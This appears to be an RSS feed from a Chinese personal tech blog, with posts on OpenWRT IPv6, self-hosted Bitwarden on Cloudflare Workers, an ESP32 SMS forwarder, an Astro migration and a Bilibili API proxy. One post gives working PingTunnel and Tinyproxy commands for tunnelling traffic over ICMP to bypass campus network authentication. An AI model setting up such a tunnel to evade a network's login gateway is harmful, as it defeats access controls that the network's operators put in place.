&lt;th&gt;跃点&lt;/th&gt;
&lt;th&gt;结果&lt;/th&gt;
&lt;th&gt;说明&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;第 1 跳&lt;/td&gt;
&lt;td&gt;1ms 通&lt;/td&gt;
&lt;td&gt;OpenWRT IPv6 转发正常 ✅&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;第 2-4 跳&lt;/td&gt;
&lt;td&gt;超时&lt;/td&gt;
&lt;td&gt;运营商屏蔽 ICMPv6（正常）&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;第 5+ 跳&lt;/td&gt;
&lt;td&gt;正常响应&lt;/td&gt;
&lt;td&gt;IPv6 链路通畅 ✅&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;h3&gt;官方测试网站&lt;/h3&gt;
&lt;p&gt;访问 &lt;a href=&quot;https://test-ipv6.com/&quot;&gt;test-ipv6.com&lt;/a&gt;：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;关闭 VPN/代理&lt;/li&gt;
&lt;li&gt;评分 ≥9/10 = IPv6 完全可用&lt;/li&gt;
&lt;li&gt;评分 &amp;lt;7/10 = 配置有问题&lt;/li&gt;
&lt;/ul&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;240e 开头&lt;/strong&gt; = 即为公网 IPv6&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h2&gt;公网访问&lt;/h2&gt;
&lt;p&gt;为了发挥出 IPV6 最大的优势，就是免费公网 IP！&lt;/p&gt;
&lt;h3&gt;配置&lt;/h3&gt;
&lt;p&gt;首先进入 &lt;strong&gt;网络 → 防火墙&lt;/strong&gt;，并配置下面设置：&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;常规设置
转发 -- 允许 （让内网 IP 能通过路由器访问，否则即便获取到公网 IP 也是访问不到的）&lt;/p&gt;
&lt;p&gt;:::important
务必确认自己的防火墙配置已经完善，不要让自己设备的所有端口都裸奔！（特别是 Windows 那一大堆程序）该设密码的地方都已经设好！
:::&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;区域设置&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;区域&lt;/th&gt;
&lt;th&gt;绑定的网络&lt;/th&gt;
&lt;th&gt;转发&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;wan&lt;/td&gt;
&lt;td&gt;wan, wan6&lt;/td&gt;
&lt;td&gt;接受&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;h3&gt;DDNS&lt;/h3&gt;
&lt;p&gt;因为公网 IP 基本都是运营商动态分配的， SSL 证书， 建站什么的都需要配置动态域名。&lt;/p&gt;
&lt;p&gt;如果是给 OpenWRT 配置，在 &lt;strong&gt;服务 -&amp;gt; DDNS-GO&lt;/strong&gt; 中按照步骤配置即可。&lt;/p&gt;
&lt;p&gt;如果是给自己的 NAS 或者 Windows 配置，可以配合 &lt;a href=&quot;https://github.com/jeessy2/ddns-go&quot;&gt;https://github.com/jeessy2/ddns-go&lt;/a&gt; 实现自动化。&lt;/p&gt;
&lt;p&gt;现在在自己的绿联 NAS 装了个 Caddy Server 给跑在上面的服务做反向代理，到时候愿意折腾甚至可以跑个 Dokploy, Coolify 或者 1Panel 玩玩，最近还是太累了啊&lt;/p&gt;
</content:encoded></item><item><title>如何用 PingTunnel 绕过校园网限制</title><link>https://blog.nichijou.moe/posts/school-pingtunnel/</link><guid isPermaLink="true">https://blog.nichijou.moe/posts/school-pingtunnel/</guid><description>在许多校园网环境下，虽然你可能还没登录认证系统，或者 TCP/UDP 流量被拦截，但系统往往会允许 ICMP (Ping) 报文通过，以便进行基础的网络诊断。PingTunnel (Pingtunnel) 正是利用这一点，将你的网络流量封装在 Ping 包中进行传输，从而“骗”过网关的审查。</description><pubDate>Mon, 19 Jan 2026 19:20:43 GMT</pubDate><content:encoded>&lt;h2&gt;前言&lt;/h2&gt;
&lt;p&gt;因为我们学校之前因为一些原因导致校园网被加上了网关认证，虽然有时候能直连上外边但极其不稳定。（而且也没发现蹦不蹦出来认证的规律）&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;那么问题来了，如何在不认证的情况下去访问外网呢？&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;有一次我测试自己是否能 ping 通服务器时，发现正常获取到了服务器的 IP 地址。也就是说，校园网的防火墙并没有封掉 ICMP 和 DNS 协议。&lt;/p&gt;
&lt;p&gt;在许多校园网环境下，虽然你可能还没登录认证系统，或者 TCP/UDP 流量被拦截，但系统往往会允许 &lt;strong&gt;ICMP (Ping)&lt;/strong&gt; 和 &lt;strong&gt;DNS&lt;/strong&gt; 的报文通过，以便进行基础的网络诊断。&lt;strong&gt;&lt;a href=&quot;https://github.com/esrrhs/pingtunnel&quot;&gt;PingTunnel&lt;/a&gt;&lt;/strong&gt; 正是利用这一点，将你的网络流量封装在 Ping 包中进行传输，从而“骗”过网关的审查。&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;之前也试过 &lt;a href=&quot;https://github.com/yarrick/iodine&quot;&gt;iodine&lt;/a&gt;，作为一款开源 DNS 隧道工具，本人在尝试的时候发现可以连上，服务器端也能正常握手，但是 TAP 驱动死活是连不上 (应该是这个 issue: https://github.com/yarrick/iodine/issues/102)
iodine 虽然支持 raw 隧道，但是假如 raw 的包被拦截，速度差不多就会降到几十 KB/s，所以体验会很差&lt;/p&gt;
&lt;/blockquote&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;一台服务器：&lt;/strong&gt; 需拥有公网 IP，且该 IP 能够被校园网 Ping 通。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;PingTunnel：&lt;/strong&gt; 在服务器和本地电脑上分别下载对应系统的二进制文件。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;代理工具：&lt;/strong&gt; 本文以 &lt;code&gt;Tinyproxy&lt;/code&gt;（服务端）和浏览器插件（客户端）为例。&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;:::note
注意：本文并不是翻墙教程，本方案的性能也可能因为 ICMP 性能限制导致开网页慢得像蜗牛&lt;/p&gt;
&lt;p&gt;本文仅作研究性分享，请勿用作不当用途，遵守校园网管理规定。
:::&lt;/p&gt;
&lt;hr /&gt;
&lt;h2&gt;1. 服务端配置 (VPS)&lt;/h2&gt;
&lt;p&gt;首先，我们需要在服务器上运行服务端，并设置访问 key 保证隧道的基本安全。&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;启动 PingTunnel 服务端：&lt;/strong&gt;
使用 &lt;code&gt;-key&lt;/code&gt; 参数设置验证密钥：&lt;/li&gt;
&lt;/ol&gt;
&lt;pre&gt;&lt;code&gt;sudo ./pingtunnel -type server -key 114514
&lt;/code&gt;&lt;/pre&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;部署 HTTP 代理服务：&lt;/strong&gt;
安装 Tinyproxy 并设置其监听在 &lt;code&gt;8888&lt;/code&gt; 端口：&lt;/li&gt;
&lt;/ol&gt;
&lt;pre&gt;&lt;code&gt;# 安装 (以 Ubuntu 为例)
sudo apt install tinyproxy -y
# 修改配置允许本地连接
vi /etc/tinyproxy/tinyproxy.conf # 确保 Allow 127.0.0.1 未被注释
sudo service tinyproxy restart
&lt;/code&gt;&lt;/pre&gt;
&lt;hr /&gt;
&lt;h2&gt;2. 本地客户端配置&lt;/h2&gt;
&lt;p&gt;由于校园内经常装的是希沃白板系统，故接下来用 Windows 来演示。&lt;/p&gt;
&lt;p&gt;:::note
注意：在 Windows 上运行需要以“管理员身份”打开 CMD/PowerShell。
:::&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;# -type client: 客户端模式
# -l :1080: 本地监听 1080 端口
# -s: 你的 VPS 公网 IP / 域名
# -t: 目标指向 VPS 本地的代理端口 (8888) (是VPS的而不是电脑的！)
# -key: 必须与服务端一致
# -tcp 1: 开启 TCP 转发
pingtunnel.exe -type client -l :1080 -s [你的VPS_IP] -t 127.0.0.1:8888 -tcp 1 -key 114514
&lt;/code&gt;&lt;/pre&gt;
&lt;hr /&gt;
&lt;h2&gt;3. 浏览器设置与测试&lt;/h2&gt;
&lt;p&gt;现在，你的本地 &lt;code&gt;1080&lt;/code&gt; 端口就是一个通往校外世界的“入口”了。&lt;/p&gt;
&lt;p&gt;下面有两种方法设置系统代理：&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;设置浏览器代理：&lt;/strong&gt;
使用 &lt;strong&gt;ProxySwitchyOmega&lt;/strong&gt; 插件或系统自带代理设置，添加一个 HTTP 代理：&lt;/li&gt;
&lt;/ol&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;代理服务器：&lt;/strong&gt; &lt;code&gt;127.0.0.1&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;端口：&lt;/strong&gt; &lt;code&gt;1080&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;设置系统代理&lt;/strong&gt;
通过 Windows 设置中的“代理”选项，启用手动代理设置，填写同样的信息。&lt;/p&gt;
&lt;p&gt;此时，即使你没有在校园网弹窗中登录账号，只要能 Ping 通服务器，浏览器应该就能正常访问网页了。&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;hr /&gt;
&lt;h2&gt;可能需要注意的点 💡&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;禁用系统 Ping 响应：&lt;/strong&gt; 为了让隧道更稳定，建议在服务器上运行：
&lt;code&gt;echo 1 &amp;gt; /proc/sys/net/ipv4/icmp_echo_ignore_all&lt;/code&gt;
这能防止内核干扰 PingTunnel 处理 ICMP 包。&lt;strong&gt;（AI 生成的建议，但本人目前不需要操作）&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;关于 -key 参数：&lt;/strong&gt; 这是一个非常简易的鉴权，主要作用是防止扫描器乱入，务必保证两端一致。如果你把服务器设在海外，估计 GFW 直接一条龙（&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;速度与稳定性：&lt;/strong&gt; ICMP 并不是为大数据量设计的，因此延迟（Ping 值）会比直连高很多。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;防火墙设置：&lt;/strong&gt; 确保服务器的防火墙允许 ICMP 流量通过。&lt;/li&gt;
&lt;/ul&gt;
</content:encoded></item><item><title>在 Cloudflare Workers 上部署 Bitwarden</title><link>https://blog.nichijou.moe/posts/warden-workers/</link><guid isPermaLink="true">https://blog.nichijou.moe/posts/warden-workers/</guid><description>to be added</description><pubDate>Sun, 11 Jan 2026 00:00:00 GMT</pubDate><content:encoded>&lt;h2&gt;前言&lt;/h2&gt;
&lt;p&gt;之前我的 Vaultwarden 实例是运行在自己的 NAS 上的，因为公网 IP 变得越来越不好搞了，用的 FRP 内网穿透国外节点的延迟大，运气差一点根本用不了，国内的又需要备案（就是那种不肯备案的人），我便想到了在云服务器上跑服务器 + 用带善人 Cloudflare 的数据库作同步的方案。但别急！随手查了一下，发现已经有佬写了 Workers 的版本&lt;/p&gt;
&lt;p&gt;Serverless 的时代，来临力！（喜&lt;/p&gt;
&lt;p&gt;原文：&lt;a href=&quot;https://www.nodeseek.com/post-575140-2&quot;&gt;https://www.nodeseek.com/post-575140-2&lt;/a&gt;&lt;/p&gt;
&lt;h2&gt;部署教程&lt;/h2&gt;
&lt;p&gt;:::tip
关于数据备份的内容可以去看原文，下面只包含了关键步骤（部分 AI 生成）
:::&lt;/p&gt;
&lt;p&gt;:::warning&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;本项目不是 Vaultwarden 的兼容层，不保证安全性跟 Vaultwarden 持平&lt;/li&gt;
&lt;li&gt;本项目不提供设备管理功能&lt;/li&gt;
&lt;li&gt;如果发现安全性问题，请在 Github 中提交安全报告&lt;/li&gt;
&lt;li&gt;数据安全建议：使用不同的 Cloudflare 账户进行备份，避免单点故障&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;:::&lt;/p&gt;
&lt;h2&gt;1. 设置 Github 项目&lt;/h2&gt;
&lt;ol&gt;
&lt;li&gt;Fork 项目仓库：https://github.com/qaz741wsd856/warden-worker&lt;/li&gt;
&lt;li&gt;进入 Action 页面，启用 Action&lt;/li&gt;
&lt;li&gt;点击 settings → Secrets and variables → Actions，准备添加 Repository secrets&lt;/li&gt;
&lt;li&gt;需要添加三个 secrets：&lt;/li&gt;
&lt;/ol&gt;
&lt;h3&gt;获取并添加 secrets&lt;/h3&gt;
&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;CLOUDFLARE_ACCOUNT_ID&lt;/strong&gt;：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;进入 Cloudflare 控制台：https://dash.cloudflare.com/&lt;/li&gt;
&lt;li&gt;在浏览器地址栏中复制你的 account id&lt;/li&gt;
&lt;li&gt;在 Github 中添加为 &lt;code&gt;CLOUDFLARE_ACCOUNT_ID&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;CLOUDFLARE_API_TOKEN&lt;/strong&gt;：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;访问 https://dash.cloudflare.com/profile/api-tokens&lt;/li&gt;
&lt;li&gt;选择编辑 Worker 的模板&lt;/li&gt;
&lt;li&gt;添加 D1 的编辑权限&lt;/li&gt;
&lt;li&gt;创建 API 令牌&lt;/li&gt;
&lt;li&gt;在 Github 中添加为 &lt;code&gt;CLOUDFLARE_API_TOKEN&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;D1_DATABASE_ID&lt;/strong&gt;：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;进入 Cloudflare 控制台的存储与数据库 → D1 sql 数据库&lt;/li&gt;
&lt;li&gt;创建一个数据库&lt;/li&gt;
&lt;li&gt;复制它的 id&lt;/li&gt;
&lt;li&gt;在 Github 中添加为 &lt;code&gt;D1_DATABASE_ID&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;h2&gt;2. 部署到 Cloudflare&lt;/h2&gt;
&lt;p&gt;此时点击上方的 Actions 选项卡，选择 Build 工作流点运行&lt;/p&gt;
&lt;p&gt;Github Actions 会自动在数据库为空时建表，无需手动建表&lt;/p&gt;
&lt;h3&gt;配置环境变量与自定义域名&lt;/h3&gt;
&lt;ol&gt;
&lt;li&gt;当 Github Action 执行完毕后，在 CF 的 Workers 中找到 &lt;code&gt;warden-worker&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;进入 Worker 的设置页面，在变量和机密栏添加以下三个密钥，&lt;strong&gt;在设置完变量后会自动重新部署，Github 无需额外再运行一遍&lt;/strong&gt;：&lt;/li&gt;
&lt;/ol&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;名称&lt;/th&gt;
&lt;th&gt;说明&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;ALLOWED_EMAILS&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;允许注册的完整邮箱（支持通配符），用逗号分隔（例：your-name@example.com,*@xxx.com），建议只填你自己的邮箱&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;JWT_SECRET&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;随机长字符串（32 字节以上）&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;JWT_REFRESH_SECRET&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;随机长字符串（32 字节以上）&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;h3&gt;可选环境变量&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;DISABLE_USER_REGISTRATION&lt;/code&gt;：控制是否显示注册按钮，默认为 true&lt;/li&gt;
&lt;li&gt;&lt;code&gt;IMPORT_BATCH_SIZE&lt;/code&gt;：导入密码库时每次批操作的数据条数，默认为 30&lt;/li&gt;
&lt;li&gt;&lt;code&gt;PASSWORD_ITERATIONS&lt;/code&gt;：服务端 PBKDF2 迭代次数，默认 600000，最小 600000&lt;/li&gt;
&lt;li&gt;&lt;code&gt;TRASH_AUTO_DELETE_DAYS&lt;/code&gt;：回收站中的项目清理天数，默认为 30，0 代表永不清理&lt;/li&gt;
&lt;li&gt;&lt;code&gt;AUTHENTICATOR_DISABLE_TIME_DRIFT&lt;/code&gt;：控制是否允许 TOTP 的时间 ±1 偏移，默认为 true&lt;/li&gt;
&lt;li&gt;&lt;code&gt;ATTACHMENT_MAX_BYTES&lt;/code&gt;：单个附件的大小限制，单位字节，默认不限制&lt;/li&gt;
&lt;li&gt;&lt;code&gt;ATTACHMENT_TOTAL_LIMIT_KB&lt;/code&gt;：单个用户的总附件大小限制，单位 KB，默认不限制&lt;/li&gt;
&lt;li&gt;&lt;code&gt;ATTACHMENT_TTL_SECS&lt;/code&gt;：附件的上传下载链接的有效时间，默认五分钟&lt;/li&gt;
&lt;/ul&gt;
&lt;ol&gt;
&lt;li&gt;在域和路由中添加自己的域名，测试网页是否能打开&lt;/li&gt;
&lt;li&gt;建议去域名配置页的安全性 → 安全规则里给 &lt;code&gt;/identity/*&lt;/code&gt; 和 &lt;code&gt;/api/accounts/*&lt;/code&gt; 添加速率限制规则（到时候请求被刷爆就没了）&lt;/li&gt;
&lt;/ol&gt;
&lt;h2&gt;4. 创建账户并导入数据&lt;/h2&gt;
&lt;ol&gt;
&lt;li&gt;如果已有 bitwarden 库，在电脑上把它导出为 JSON&lt;/li&gt;
&lt;li&gt;前端默认隐藏了注册按钮，可以：
&lt;ul&gt;
&lt;li&gt;参考上一步的环境变量开启然后清空缓存&lt;/li&gt;
&lt;li&gt;直接访问 &lt;code&gt;https://你的域名/#/register&lt;/code&gt; 注册&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;&lt;strong&gt;注意&lt;/strong&gt;：创建账户时用的密码必须记住，没有任何方式能找回&lt;/p&gt;
</content:encoded></item><item><title>DIY 短信转发模块</title><link>https://blog.nichijou.moe/posts/sms-forwarding/</link><guid isPermaLink="true">https://blog.nichijou.moe/posts/sms-forwarding/</guid><description>低成本用esp32实现短信转发</description><pubDate>Sat, 20 Dec 2025 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;之前刷到个 DIY 转发 ESP32 转发短信的项目，功耗也特别低，搞的 giffgaff 卡也因为主播就一台机子&lt;s&gt;被插满了&lt;/s&gt;，现在就整台玩一玩&lt;/p&gt;
&lt;p&gt;::github{repo=&quot;chenxuuu/sms_forwarding&quot;}&lt;/p&gt;
&lt;p&gt;教程视频：https://www.bilibili.com/video/BV1cSmABYEiX&lt;/p&gt;
&lt;h2&gt;刷前准备&lt;/h2&gt;
&lt;p&gt;准备原材料：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;硬件设备：&lt;strong&gt;ESP32C3 Super Mini&lt;/strong&gt; + &lt;strong&gt;ML307R-DC 开发板&lt;/strong&gt; + &lt;strong&gt;4G FPC 天线&lt;/strong&gt;（结果发现还没包邮&lt;/li&gt;
&lt;li&gt;焊接工具 + 面包板&lt;/li&gt;
&lt;li&gt;杜邦线（或者是跳线）&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;img src=&quot;https://s.nichijou.moe/%E6%97%A0%E6%A0%87%E9%A2%98-2025-12-21-0111.svg&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;焊接开发板的时候千万不要直接把 ESP 直接叠上去！！！！！&lt;/strong&gt;
在 ESP 的 GND 右边还有一个 3.3V 的引脚，没有想到更好的办法，只好用杜邦线连接起来（或者插在面包板上），这么丑就是没办法（摊手）&lt;/p&gt;
&lt;p&gt;视频直接把焊在模块上的直接掰弯引脚给接开发板上去了（然后疯狂囤板子 x）&lt;/p&gt;
&lt;p&gt;这次买的是 ESP32-C3 的 Supermini，因为没有写入固件，会不断重启，导致刷入永远失败，所以需要让 ESP 进入串口 Bootloader 模式.&lt;/p&gt;
&lt;p&gt;根据 Reddit &lt;s&gt;国际版贴吧 x&lt;/s&gt;，可通过将 GPIO9 拉低，来进入 Bootloader 模式，或者不短接 GPIO9，同时按下 BOOT 和 RST 按钮，随后松开 RST 按钮，即可进入 Bootloader 模式，这时可直接松开 BOOT 按钮。&lt;a href=&quot;https://www.reddit.com/r/esp32/comments/ivtdzf/esp32_keeps_disconnecting_and_reconnecting_from/&quot;&gt;^1&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;然后用 Arduino IDE 打开项目工程文件，下载所需的库与工具链&lt;a href=&quot;https://github.com/chenxuuu/sms_forwarding?tab=readme-ov-file#%E8%BD%AF%E4%BB%B6%E7%BB%84%E6%88%90&quot;&gt;^2&lt;/a&gt;。&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;最后 ESP32 的工具链装在用户目录下又吃了我 C 盘 3G 多空间 😭&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h2&gt;启动！&lt;/h2&gt;
&lt;p&gt;准备完成后，打开&lt;code&gt;wifi_config.h&lt;/code&gt;文件，配置 WiFi 信息（需选用 2.4G 网络），编译并上传到开发板。&lt;/p&gt;
&lt;p&gt;上传成功后打开串口监视器，里面就是我们控制面板的地址&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;ESP-ROM:esp32c3-api1-20210207
配置已加载
连接wifi
&amp;lt;WiFi名称&amp;gt;
wifi已连接
IP地址: 192.168.X.X
正在同步NTP时间...
NTP时间同步失败，将使用设备时间
HTTP服务器已启动
模组AT响应正常
CNMI参数设置完成
PDU模式设置完成
CGATT已附着
⚠️ 请访问 http://192.168.2.145/ 配置系统参数
Debug&amp;gt; OK
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;其他配置&lt;/h2&gt;
&lt;p&gt;若要配置邮箱通知，可以加上 SMTP 服务器的相关配置&lt;/p&gt;
</content:encoded></item><item><title>从 Nuxt 迁移到 Astro</title><link>https://blog.nichijou.moe/posts/homepage-astro/</link><guid isPermaLink="true">https://blog.nichijou.moe/posts/homepage-astro/</guid><description>关于我为什么要把 Nuxt 迁移到 Astro</description><pubDate>Sat, 22 Nov 2025 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;今天一下午把自己的主页用 Astro+Svelte 重构了一下，就想稍微阐释一下自己迁移的原因。&lt;/p&gt;
&lt;h2&gt;Astro, Yes!&lt;/h2&gt;
&lt;p&gt;下面是摘自官网&lt;a href=&quot;https://astro.build/&quot;&gt;astro.build&lt;/a&gt;的介绍&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;什么是 Astro？&lt;/strong&gt;
Astro 是一个专为构建快速、内容驱动型网站而优化的 JavaScript Web 框架。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;服务端优先&lt;/strong&gt;
Astro 通过在服务器端渲染组件来提升网站性能，向浏览器发送轻量级的 HTML，无需任何不必要的 JavaScript 开销。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;内容驱动&lt;/strong&gt;
Astro 旨在与您的内容无缝协作，无论内容存储在哪里。可以从文件系统、外部 API 或您喜欢的 CMS 加载数据。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;高度可定制&lt;/strong&gt;
使用您喜爱的工具扩展 Astro。可以引入自己的 JavaScript UI 组件、CSS 库、主题、集成等更多功能。&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;对于友链的网站图标加载 Astro 也有做优化，因为目前的友链图片全是第三方加载，朋友的网站的图片加载速度都没做过优化（被墙的甚至直接加载不出来），可能导致加载开屏卡很久&lt;/p&gt;
&lt;p&gt;现在用通过&lt;code&gt;&amp;lt;Image&amp;gt;&lt;/code&gt;组件在编译时就会将图标预加载并且缓存到本地，削除了前端从不同网站加载图标而且分辨率不统一导致的加载卡慢的问题&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;途中因为我直接把新的分支 push 到&lt;a href=&quot;https://github.com/hexadecimal233/homepage-new&quot;&gt;老项目&lt;/a&gt;的 branch 里了，造成了多分支保护规则 (见&lt;a href=&quot;https://github.com/withastro/docs/issues/1376&quot;&gt;https://github.com/withastro/docs/issues/1376&lt;/a&gt;)，直接导致 workflow failure，要我们将 &lt;code&gt;Environments&lt;/code&gt;里的分支保护规则加上咱新的分支或者设置为全部即可&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h2&gt;Astro + Svelte&lt;/h2&gt;
&lt;p&gt;Astro + Svelte 对于规模不大的像我们这种个人首页就挺合适感觉，功能上基本的东西都有&lt;/p&gt;
&lt;p&gt;对于客户端渲染的响应式组件，Astro 的孤岛架构保证了只会在需要的时候才会加载组件，也是像我从别的框架或者开发 SPA 的人比较容易犯错的地方&lt;/p&gt;
&lt;p&gt;:::important
对于要在客户端渲染的组件须经历水合 (hydration，也叫做水化，注水) 过程，将干巴巴的 HTML 转换为交互式的组件，才能在浏览器中渲染出交互效果
各大主流 SSR 框架都支持水合过程，包括 Nuxt、Next.js、Vue SSR 等，这样对一些静态站点来说，也能获得不错的性能提升，同时还能提升 SEO 效果
:::&lt;/p&gt;
&lt;p&gt;+1, Svelte 在客户端 JS 体积上也比 vue 小很多，即使你的站点部署在 Gtihub Pages 上或者套了 Cloudflare 减速器(x) 也能获得极快的加载速度&lt;/p&gt;
&lt;p&gt;:::tip
PS：本站的博客主题也是基于 Astro + Svelte 写的，看看&lt;a href=&quot;https://github.com/saicaca/fuwari&quot;&gt;Fuwari&lt;/a&gt;！
:::&lt;/p&gt;
&lt;h2&gt;为什么 Nuxt 拉了？&lt;/h2&gt;
&lt;p&gt;因为我现代前端接触的第一个框架是 vue，再加上对于 Nuxt 和 Vue 与渲染机制的不理解，那时候还迷迷糊糊地就选用 Nuxt 了&lt;/p&gt;
&lt;p&gt;Nuxt 本身作为一个全栈开发框架，主要注重服务端与客户端的一个 monolith 架构，对于一个静态为主的个人站说，可以说是大炮打蚊子&lt;/p&gt;
&lt;p&gt;每次用 vue 都要打包一个运行时进去，导致最终的包体积很大，而 Astro 则是在编译时就会将组件编译为静态 HTML，不会有运行时的依赖，最终的包体积也会小很多&lt;/p&gt;
&lt;h2&gt;未来的计划&lt;/h2&gt;
&lt;p&gt;准备在之后将继续写个人主页，随便换点设计也不是不行（）&lt;/p&gt;
&lt;p&gt;&lt;s&gt;到时候条件允许直接迁移上云&lt;/s&gt;&lt;/p&gt;
</content:encoded></item><item><title>如何通过CF反代API绕过B站视频CORS限制并在首页展示最新视频</title><link>https://blog.nichijou.moe/posts/bili-video/</link><guid isPermaLink="true">https://blog.nichijou.moe/posts/bili-video/</guid><pubDate>Wed, 20 Aug 2025 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;最近继续写前端练手&lt;/p&gt;
&lt;p&gt;又在翻别人主页的时候看到了一些活，懒得搞灵感记录（这是坏的！不要学我把一整天全窝在电脑前）&lt;/p&gt;
&lt;p&gt;准备学学某人（ta 是 youtube）的博客在主页上展示自己的 B 站最新视频，同时让自己的主页更加有高级感（疯狂引流 x&lt;/p&gt;
&lt;h2&gt;B 站 API&lt;/h2&gt;
&lt;p&gt;现在对 B 站 API 的研究也算比较成熟，易姐的 &lt;a href=&quot;https://github.com/SocialSisterYi/bilibili-API-collect/blob/master/docs/user/space.md&quot;&gt;Bilibili API Collect&lt;/a&gt; 够用，不多说&lt;/p&gt;
&lt;p&gt;众所周知，B 站是有做反爬的——&lt;/p&gt;
&lt;p&gt;...&lt;/p&gt;
&lt;h2&gt;处理 CORS&lt;/h2&gt;
&lt;p&gt;由于浏览器安全限制，直接请求 B 站 API 会被 CORS 拦截（而且所有默认不带&lt;code&gt;Access-Control-Allow-Origin&lt;/code&gt;的你服务器返回个 200 浏览器最后也会拒绝处理&lt;/p&gt;
&lt;p&gt;&lt;a href=&quot;https://www.bilibili.com/opus/924356874277486612&quot;&gt;这篇文章&lt;/a&gt;具体写了用怎么用 CF Workers 绕过跨域请求&lt;/p&gt;
&lt;p&gt;:::tip
不会用 CF 文章里有详细部署教程，如果你已经知道怎么搭建，这一步可以跳过
:::&lt;/p&gt;
&lt;p&gt;:::note
Workers 免费版每个月有&lt;strong&gt;100000&lt;/strong&gt;次请求限制，超过就会停用，而且搞反向代理有概率号会炸连带绑定的域名（墙倒是不怎么担心
:::&lt;/p&gt;
&lt;h2&gt;Workers 的限制&lt;/h2&gt;
&lt;p&gt;现在已经成功代理，其他网站可以正常访问，但是发现访问 API 时 B 站直接返回 412&lt;/p&gt;
&lt;p&gt;通过查看 &lt;a href=&quot;https://requestcatcher.com/&quot;&gt;Request Catcher&lt;/a&gt; 和 &lt;a href=&quot;https://httpbin.org/get&quot;&gt;httpbin&lt;/a&gt; 发现，CF 的 &lt;code&gt;fetch&lt;/code&gt; 会在请求头里下毒，同时找到了&lt;a href=&quot;https://meta.appinn.net/t/topic/73851/1&quot;&gt;这篇文章&lt;/a&gt;&lt;/p&gt;
